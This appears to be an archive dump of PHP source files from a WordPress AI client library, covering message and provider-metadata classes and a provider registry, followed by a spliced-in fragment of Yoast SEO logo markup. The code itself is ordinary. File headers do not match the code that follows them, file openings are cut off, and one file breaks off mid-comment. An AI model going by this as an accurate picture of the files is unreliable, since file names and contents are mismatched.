Messages/DTO/ModelMessage.php 0000644 00000001544 15207673127 0012035 0 ustar 00 getRole()`
* to check the role of a message.
*
* @since 0.1.0
*/
class ModelMessage extends \WordPress\AiClient\Messages\DTO\Message
{
/**
* Constructor.
*
* @since 0.1.0
*
* @param MessagePart[] $parts The parts that make up this message.
*/
public function __construct(array $parts)
{
parent::__construct(MessageRoleEnum::model(), $parts);
}
}
Messages/Enums/ModalityEnum.php 0000644 00000002407 15207673127 0012537 0 ustar 00
* }
*
* @extends AbstractDataTransferObject
*/
class ProviderModelsMetadata extends AbstractDataTransferObject
{
public const KEY_PROVIDER = 'provider';
public const KEY_MODELS = 'models';
/**
* @var ProviderMetadata The provider metadata.
*/
protected \WordPress\AiClient\Providers\DTO\ProviderMetadata $provider;
/**
* @var list The available models.
*/
protected array $models;
/**
* Constructor.
*
* @since 0.1.0
*
* @param ProviderMetadata $provider The provider metadata.
* @param list $models The available models.
*
* @throws InvalidArgumentException If models is not a list.
*/
public function __construct(\WordPress\AiClient\Providers\DTO\ProviderMetadata $provider, array $models)
{
if (!array_is_list($models)) {
throw new InvalidArgumentException('Models must be a list array.');
}
$this->provider = $provider;
$this->models = $models;
}
/**
* Creates a deep clone of this metadata.
*
* Clones the provider metadata and all model metadata objects
* to ensure the cloned instance is independent of the original.
*
* @since 0.4.2
*/
public function __clone()
{
// Clone provider metadata
$this->provider = clone $this->provider;
// Deep clone models array (ModelMetadata has __clone)
$clonedModels = [];
foreach ($this->models as $model) {
$clonedModels[] = clone $model;
}
$this->models = $clonedModels;
}
/**
* Gets the provider metadata.
*
* @since 0.1.0
*
* @return ProviderMetadata The provider metadata.
*/
public function getProvider(): \WordPress\AiClient\Providers\DTO\ProviderMetadata
{
return $this->provider;
}
/**
* Gets the available models.
*
* @since 0.1.0
*
* @return list The available models.
*/
public function getModels(): array
{
return $this->models;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_PROVIDER => \WordPress\AiClient\Providers\DTO\ProviderMetadata::getJsonSchema(), self::KEY_MODELS => ['type' => 'array', 'items' => ModelMetadata::getJsonSchema(), 'description' => 'The available models for this provider.']], 'required' => [self::KEY_PROVIDER, self::KEY_MODELS]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return ProviderModelsMetadataArrayShape
*/
public function toArray(): array
{
return [self::KEY_PROVIDER => $this->provider->toArray(), self::KEY_MODELS => array_map(static fn(ModelMetadata $model): array => $model->toArray(), $this->models)];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_PROVIDER, self::KEY_MODELS]);
return new self(\WordPress\AiClient\Providers\DTO\ProviderMetadata::fromArray($array[self::KEY_PROVIDER]), array_map(static fn(array $modelData): ModelMetadata => ModelMetadata::fromArray($modelData), $array[self::KEY_MODELS]));
}
}
Providers/DTO/ProviderMetadata.php 0000644 00000017364 15207673131 0013133 0 ustar 00
*/
class ProviderMetadata extends AbstractDataTransferObject
{
public const KEY_ID = 'id';
public const KEY_NAME = 'name';
public const KEY_DESCRIPTION = 'description';
public const KEY_TYPE = 'type';
public const KEY_CREDENTIALS_URL = 'credentialsUrl';
public const KEY_AUTHENTICATION_METHOD = 'authenticationMethod';
public const KEY_LOGO_PATH = 'logoPath';
/**
* @var string The provider's unique identifier.
*/
protected string $id;
/**
* @var string The provider's display name.
*/
protected string $name;
/**
* @var string|null The provider's description.
*/
protected ?string $description;
/**
* @var ProviderTypeEnum The provider type.
*/
protected ProviderTypeEnum $type;
/**
* @var string|null The URL where users can get credentials.
*/
protected ?string $credentialsUrl;
/**
* @var RequestAuthenticationMethod|null The authentication method.
*/
protected ?RequestAuthenticationMethod $authenticationMethod;
/**
* @var string|null The full path to the provider's logo image file.
*/
protected ?string $logoPath;
/**
* Constructor.
*
* @since 0.1.0
* @since 1.2.0 Added optional $description parameter.
* @since 1.3.0 Added optional $logoPath parameter.
*
* @param string $id The provider's unique identifier.
* @param string $name The provider's display name.
* @param ProviderTypeEnum $type The provider type.
* @param string|null $credentialsUrl The URL where users can get credentials.
* @param RequestAuthenticationMethod|null $authenticationMethod The authentication method.
* @param string|null $description The provider's description.
* @param string|null $logoPath The full path to the provider's logo image file.
* @throws InvalidArgumentException If the provider ID contains invalid characters.
*/
public function __construct(string $id, string $name, ProviderTypeEnum $type, ?string $credentialsUrl = null, ?RequestAuthenticationMethod $authenticationMethod = null, ?string $description = null, ?string $logoPath = null)
{
if (!preg_match('/^[a-z0-9\-_]+$/', $id)) {
throw new InvalidArgumentException(sprintf(
// phpcs:ignore Generic.Files.LineLength.TooLong
'Invalid provider ID "%s". Only lowercase alphanumeric characters, hyphens, and underscores are allowed.',
$id
));
}
$this->id = $id;
$this->name = $name;
$this->description = $description;
$this->type = $type;
$this->credentialsUrl = $credentialsUrl;
$this->authenticationMethod = $authenticationMethod;
$this->logoPath = $logoPath;
}
/**
* Gets the provider's unique identifier.
*
* @since 0.1.0
*
* @return string The provider ID.
*/
public function getId(): string
{
return $this->id;
}
/**
* Gets the provider's display name.
*
* @since 0.1.0
*
* @return string The provider name.
*/
public function getName(): string
{
return $this->name;
}
/**
* Gets the provider's description.
*
* @since 1.2.0
*
* @return string|null The provider description.
*/
public function getDescription(): ?string
{
return $this->description;
}
/**
* Gets the provider type.
*
* @since 0.1.0
*
* @return ProviderTypeEnum The provider type.
*/
public function getType(): ProviderTypeEnum
{
return $this->type;
}
/**
* Gets the credentials URL.
*
* @since 0.1.0
*
* @return string|null The credentials URL.
*/
public function getCredentialsUrl(): ?string
{
return $this->credentialsUrl;
}
/**
* Gets the authentication method.
*
* @since 0.4.0
*
* @return RequestAuthenticationMethod|null The authentication method.
*/
public function getAuthenticationMethod(): ?RequestAuthenticationMethod
{
return $this->authenticationMethod;
}
/**
* Gets the full path to the provider's logo image file.
*
* @since 1.3.0
*
* @return string|null The full path to the logo image file.
*/
public function getLogoPath(): ?string
{
return $this->logoPath;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
* @since 1.2.0 Added description to schema.
* @since 1.3.0 Added logoPath to schema.
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The provider\'s unique identifier.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The provider\'s display name.'], self::KEY_DESCRIPTION => ['type' => 'string', 'description' => 'The provider\'s description.'], self::KEY_TYPE => ['type' => 'string', 'enum' => ProviderTypeEnum::getValues(), 'description' => 'The provider type (cloud, server, or client).'], self::KEY_CREDENTIALS_URL => ['type' => 'string', 'description' => 'The URL where users can get credentials.'], self::KEY_AUTHENTICATION_METHOD => ['type' => ['string', 'null'], 'enum' => array_merge(RequestAuthenticationMethod::getValues(), [null]), 'description' => 'The authentication method.'], self::KEY_LOGO_PATH => ['type' => 'string', 'description' => 'The full path to the provider\'s logo image file.']], 'required' => [self::KEY_ID, self::KEY_NAME, self::KEY_TYPE]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
* @since 1.2.0 Added description to output.
* @since 1.3.0 Added logoPath to output.
*
* @return ProviderMetadataArrayShape
*/
public function toArray(): array
{
return [self::KEY_ID => $this->id, self::KEY_NAME => $this->name, self::KEY_DESCRIPTION => $this->description, self::KEY_TYPE => $this->type->value, self::KEY_CREDENTIALS_URL => $this->credentialsUrl, self::KEY_AUTHENTICATION_METHOD => $this->authenticationMethod ? $this->authenticationMethod->value : null, self::KEY_LOGO_PATH => $this->logoPath];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
* @since 1.2.0 Added description support.
* @since 1.3.0 Added logoPath support.
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_ID, self::KEY_NAME, self::KEY_TYPE]);
return new self($array[self::KEY_ID], $array[self::KEY_NAME], ProviderTypeEnum::from($array[self::KEY_TYPE]), $array[self::KEY_CREDENTIALS_URL] ?? null, isset($array[self::KEY_AUTHENTICATION_METHOD]) ? RequestAuthenticationMethod::from($array[self::KEY_AUTHENTICATION_METHOD]) : null, $array[self::KEY_DESCRIPTION] ?? null, $array[self::KEY_LOGO_PATH] ?? null);
}
}
Providers/ProviderRegistry.php 0000644 00000057020 15207673131 0012566 0 ustar 00 > Mapping of provider IDs to class names.
*/
private array $registeredIdsToClassNames = [];
/**
* @var array, string> Mapping of provider class names to IDs.
*/
private array $registeredClassNamesToIds = [];
/**
* @var array, RequestAuthenticationInterface> Mapping of provider class names to
* authentication instances.
*/
private array $providerAuthenticationInstances = [];
/**
* Registers a provider class with the registry.
*
* @since 0.1.0
*
* @param class-string $className The fully qualified provider class name implementing the
* ProviderInterface
* @throws InvalidArgumentException If the class doesn't exist or implement the required interface.
*/
public function registerProvider(string $className): void
{
if (!class_exists($className)) {
throw new InvalidArgumentException(sprintf('Provider class does not exist: %s', $className));
}
// Validate that class implements ProviderInterface
if (!is_subclass_of($className, ProviderInterface::class)) {
throw new InvalidArgumentException(sprintf('Provider class must implement %s: %s', ProviderInterface::class, $className));
}
$metadata = $className::metadata();
if (!$metadata instanceof ProviderMetadata) {
throw new InvalidArgumentException(sprintf('Provider must return ProviderMetadata from metadata() method: %s', $className));
}
// If there is already a HTTP transporter instance set, hook it up to the provider as needed.
try {
$httpTransporter = $this->getHttpTransporter();
} catch (RuntimeException $e) {
/*
* If this fails, it's okay. There is no defined sequence between setting the HTTP transporter in the
* registry and registering providers in it, so it might be that the transporter is set later. It will be
* hooked up then.
* But for now we can ignore this exception and attempt to set the default HTTP transporter, if possible.
*/
try {
$this->setHttpTransporter(HttpTransporterFactory::createTransporter());
$httpTransporter = $this->getHttpTransporter();
} catch (DiscoveryNotFoundException $e) {
/*
* If no HTTP client implementation can be discovered yet, we can ignore this for now.
* It might be set later, so it's not a hard error at this point.
* We'll try again the next time a provider is registered, or maybe by that time an explicit
* HTTP transporter will have been set.
*/
}
}
if (isset($httpTransporter)) {
$this->setHttpTransporterForProvider($className, $httpTransporter);
}
// Hook up the request authentication instance, using a default if not set.
if (!isset($this->providerAuthenticationInstances[$className])) {
$defaultProviderAuthentication = $this->createDefaultProviderRequestAuthentication($className);
if ($defaultProviderAuthentication !== null) {
$this->providerAuthenticationInstances[$className] = $defaultProviderAuthentication;
}
}
if (isset($this->providerAuthenticationInstances[$className])) {
$this->setRequestAuthenticationForProvider($className, $this->providerAuthenticationInstances[$className]);
}
$this->registeredIdsToClassNames[$metadata->getId()] = $className;
$this->registeredClassNamesToIds[$className] = $metadata->getId();
}
/**
* Gets a list of all registered provider IDs.
*
* @since 0.1.0
*
* @return list List of registered provider IDs.
*/
public function getRegisteredProviderIds(): array
{
return array_keys($this->registeredIdsToClassNames);
}
/**
* Checks if a provider is registered.
*
* @since 0.1.0
*
* @param string|class-string $idOrClassName The provider ID or class name to check.
* @return bool True if the provider is registered.
*/
public function hasProvider(string $idOrClassName): bool
{
return $this->isRegisteredId($idOrClassName) || $this->isRegisteredClassName($idOrClassName);
}
/**
* Gets the class name for a registered provider.
*
* @since 0.1.0
*
* @param string|class-string $idOrClassName The provider ID or class name.
* @return class-string The provider class name.
* @throws InvalidArgumentException If the provider is not registered.
*/
public function getProviderClassName(string $idOrClassName): string
{
// If it's already a class name, return it
if ($this->isRegisteredClassName($idOrClassName)) {
return $idOrClassName;
}
// If it's a registered ID, return its class name
if ($this->isRegisteredId($idOrClassName)) {
return $this->registeredIdsToClassNames[$idOrClassName];
}
// Not found
throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName));
}
/**
* Gets the provider ID for a registered provider.
*
* @since 0.2.0
*
* @param string|class-string $idOrClassName The provider ID or class name.
* @return string The provider ID.
* @throws InvalidArgumentException If the provider is not registered.
*/
public function getProviderId(string $idOrClassName): string
{
// If it's already an ID, return it
if ($this->isRegisteredId($idOrClassName)) {
return $idOrClassName;
}
// If it's a registered class name, return its ID
if ($this->isRegisteredClassName($idOrClassName)) {
return $this->registeredClassNamesToIds[$idOrClassName];
}
// Not found
throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName));
}
/**
* Checks if a provider is properly configured.
*
* @since 0.1.0
*
* @param string|class-string $idOrClassName The provider ID or class name.
* @return bool True if the provider is configured and ready to use.
*/
public function isProviderConfigured(string $idOrClassName): bool
{
try {
$className = $this->resolveProviderClassName($idOrClassName);
// Use static method from ProviderInterface
/** @var class-string $className */
$availability = $className::availability();
return $availability->isConfigured();
} catch (InvalidArgumentException $e) {
return \false;
}
}
/**
* Finds models across all available providers that support the given requirements.
*
* @since 0.1.0
*
* @param ModelRequirements $modelRequirements The requirements to match against.
* @return list List of provider models metadata that match requirements.
*/
public function findModelsMetadataForSupport(ModelRequirements $modelRequirements): array
{
$results = [];
foreach ($this->registeredIdsToClassNames as $providerId => $className) {
$providerResults = $this->findProviderModelsMetadataForSupport($providerId, $modelRequirements);
if (!empty($providerResults)) {
// Use static method from ProviderInterface
/** @var class-string $className */
$providerMetadata = $className::metadata();
$results[] = new ProviderModelsMetadata($providerMetadata, $providerResults);
}
}
return $results;
}
/**
* Finds models within a specific available provider that support the given requirements.
*
* @since 0.1.0
*
* @param string $idOrClassName The provider ID or class name.
* @param ModelRequirements $modelRequirements The requirements to match against.
* @return list List of model metadata that match requirements.
*/
public function findProviderModelsMetadataForSupport(string $idOrClassName, ModelRequirements $modelRequirements): array
{
$className = $this->resolveProviderClassName($idOrClassName);
// If the provider is not configured, there is no way to use it, so it is considered unavailable.
if (!$this->isProviderConfigured($className)) {
return [];
}
$modelMetadataDirectory = $className::modelMetadataDirectory();
// Filter models that meet requirements
$matchingModels = [];
foreach ($modelMetadataDirectory->listModelMetadata() as $modelMetadata) {
if ($modelRequirements->areMetBy($modelMetadata)) {
$matchingModels[] = $modelMetadata;
}
}
return $matchingModels;
}
/**
* Gets a configured model instance from a provider.
*
* @since 0.1.0
*
* @param string|class-string $idOrClassName The provider ID or class name.
* @param string $modelId The model identifier.
* @param ModelConfig|null $modelConfig The model configuration.
* @return ModelInterface The configured model instance.
* @throws InvalidArgumentException If provider or model is not found.
*/
public function getProviderModel(string $idOrClassName, string $modelId, ?ModelConfig $modelConfig = null): ModelInterface
{
$className = $this->resolveProviderClassName($idOrClassName);
$modelInstance = $className::model($modelId, $modelConfig);
$this->bindModelDependencies($modelInstance);
return $modelInstance;
}
/**
* Binds dependencies to a model instance.
*
* This method injects required dependencies such as HTTP transporter
* and authentication into model instances that need them.
*
* @since 0.1.0
*
* @param ModelInterface $modelInstance The model instance to bind dependencies to.
* @return void
*/
public function bindModelDependencies(ModelInterface $modelInstance): void
{
$className = $this->resolveProviderClassName($modelInstance->providerMetadata()->getId());
if ($modelInstance instanceof WithHttpTransporterInterface) {
$modelInstance->setHttpTransporter($this->getHttpTransporter());
}
if ($modelInstance instanceof WithRequestAuthenticationInterface) {
$requestAuthentication = $this->getProviderRequestAuthentication($className);
if ($requestAuthentication !== null) {
$modelInstance->setRequestAuthentication($requestAuthentication);
}
}
}
/**
* Gets the class name for a registered provider (handles both ID and class name input).
*
* @param string|class-string $idOrClassName The provider ID or class name.
* @return class-string The provider class name.
* @throws InvalidArgumentException If provider is not registered.
*/
private function resolveProviderClassName(string $idOrClassName): string
{
// If it's already a class name, return it
if ($this->isRegisteredClassName($idOrClassName)) {
return $idOrClassName;
}
// If it's a registered ID, return its class name
if ($this->isRegisteredId($idOrClassName)) {
return $this->registeredIdsToClassNames[$idOrClassName];
}
// Not found
throw new InvalidArgumentException(sprintf('Provider not registered: %s', $idOrClassName));
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function setHttpTransporter(HttpTransporterInterface $httpTransporter): void
{
$this->setHttpTransporterOriginal($httpTransporter);
// Make sure all registered providers have the HTTP transporter hooked up as needed.
foreach ($this->registeredIdsToClassNames as $className) {
$this->setHttpTransporterForProvider($className, $httpTransporter);
}
}
/**
* Sets the request authentication instance for the given provider.
*
* @since 0.1.0
*
* @param string|class-string $idOrClassName The provider ID or class name.
* @param RequestAuthenticationInterface $requestAuthentication The request authentication instance.
*/
public function setProviderRequestAuthentication(string $idOrClassName, RequestAuthenticationInterface $requestAuthentication): void
{
$className = $this->resolveProviderClassName($idOrClassName);
$this->providerAuthenticationInstances[$className] = $requestAuthentication;
$this->setRequestAuthenticationForProvider($className, $requestAuthentication);
}
/**
* Gets the request authentication instance for the given provider, if set.
*
* @since 0.1.0
*
* @param string|class-string
 ? \esc_url( $assets_uri . 'packages/js/images/woo-seo-logo-new.svg' ) : \esc_url( $assets_uri . 'packages/js/images/yoast-premium-logo-new.svg' ); ?>){kind=logo}
![](data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="10" height="9" viewBox="0 0 10 9" fill="none"><path d="M3.99951 1.49988H1.99951C1.44723 1.49988 0.999512 1.94759 0.999512 2.49988V7.49988C0.999512 8.05216 1.44723 8.49988 1.99951 8.49988H6.99951C7.5518 8.49988 7.99951 8.05216 7.99951 7.49988V5.49988M5.99951 0.499878H8.99951M8.99951 0.499878V3.49988M8.99951 0.499878L3.99951 5.49988" stroke="%230085ba" stroke-linecap="round" stroke-linejoin="round"/></svg>){kind=small}
 . 'packages/js/images/Yoast_SEO_Icon.svg' ) . '){kind=icon}
',
'Yoast SEO',
'